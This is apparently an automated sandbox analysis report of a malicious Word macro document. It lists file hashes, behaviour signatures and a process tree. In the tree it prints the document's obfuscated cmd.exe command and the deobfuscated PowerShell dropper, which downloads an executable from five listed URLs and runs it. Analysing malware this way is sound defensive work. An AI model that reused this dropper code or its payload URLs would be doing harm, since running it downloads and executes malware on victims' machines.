Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 03:40

General

  • Target

    5cfee0a5b2a73cbb6a23997d373edfd8_JaffaCakes118.doc

  • Size

    74KB

  • MD5

    5cfee0a5b2a73cbb6a23997d373edfd8

  • SHA1

    d0abee53969be0036fe9fd3f165c28b3c08272df

  • SHA256

    278d0a868bd610c4c04712f7a785d9cca64d1bea4b83b8d3e55233191954385c

  • SHA512

    2c67c659214e15d80ea4bf7c532181b3426db0a3b367c4764b86558926f3d6348c7a4d4af2f3f37c13b2ef3975462394676e7a4916bb4ced3fe9614588645e60

  • SSDEEP

    768:BpJcaUitGAlmrJpmxlzC+w99NBE+1oIo4CkqeW23/rMlnv:BptJlmrJpmxlRw99NBE+aIF1/rI

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://boloshortolandia.com/ozylgj6Z6

exe.dropper

http://ncvascular.com.au/69V3Cpx

exe.dropper

http://inmayjose.es/IB8JhFSXiV

exe.dropper

http://lalievre.ca/O0Pmale

exe.dropper

http://makmedia.ch/b5jSC1b

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 12 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5cfee0a5b2a73cbb6a23997d373edfd8_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2304
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:^ON/C"^s^e^t ^i^T=^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{^hc^t^ac^};ka^erb^;^Hnd$^ me^tI-^e^kovn^I^;)Hn^d^$^ ^,^w^jW^$(^e^liFd^a^o^lnwo^D.^jk^d^${yr^t{)ICz$^ ni ^w^jW$(hc^aero^f^;^'ex^e.'+Tv^s$+'\^'^+c^i^l^bup:vne$^=Hn^d$;^'22'^ ^=^ ^Tvs$;)^'^@'(ti^l^p^S^.'^b^1C^Sj^5b/hc^.aidemk^am//:^p^tt^h^@^el^a^m^P^0^O/ac.^erv^eil^al//:^pt^t^h@ViXSF^h^J^8^B^I/s^e^.^es^o^j^y^amni//^:^p^t^t^h@x^pC3V96/^ua^.moc^.r^a^l^uc^s^avcn//:p^tth^@6^Z6^j^glyz^o/moc.^aidn^a^l^otro^hs^o^lo^b//:p^tth'^=ICz$^;tneilCb^e^W.t^eN^ ^tc^e^j^b^o-wen^=^j^k^d^$ ^l^lehsre^wop&&^f^or /^L %^M ^in (3^64^;^-^1;0)d^o ^s^e^t Cr^9^S=!Cr^9^S!!^i^T:~%^M,1!&&i^f %^M=^=^0 c^a^ll %Cr^9^S:^~^6%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $dkj=new-object Net.WebClient;$zCI='http://boloshortolandia.com/ozylgj6Z6@http://ncvascular.com.au/69V3Cpx@http://inmayjose.es/IB8JhFSXiV@http://lalievre.ca/O0Pmale@http://makmedia.ch/b5jSC1b'.Split('@');$svT = '22';$dnH=$env:public+'\'+$svT+'.exe';foreach($Wjw in $zCI){try{$dkj.DownloadFile($Wjw, $dnH);Invoke-Item $dnH;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      e03dd67a9a1939a005cf2c6f27c540a0

      SHA1

      87b2732934083461676444d794377084205e164f

      SHA256

      52d13e2223b5c8e932b3fd36a160eab0276fd8c20852be3a350a8ea2ea80e9fa

      SHA512

      3a46093b0ecc854b1a30c0505fd9e8b196d1f3fe8a4d40a44fe859c4679d24d588295f0ddc7d329c89e08fe43be25ff8459774d7e41d58c2f901e60be5503dfe

    • memory/3020-8-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-6-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-19-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-15-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-11-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-10-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-9-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-0-0x000000002F2A1000-0x000000002F2A2000-memory.dmp

      Filesize

      4KB

    • memory/3020-48-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/3020-2-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/3020-7-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-23-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-22-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-31-0x0000000070EAD000-0x0000000070EB8000-memory.dmp

      Filesize

      44KB

    • memory/3020-32-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB

    • memory/3020-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3020-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3020-12-0x0000000000260000-0x0000000000360000-memory.dmp

      Filesize

      1024KB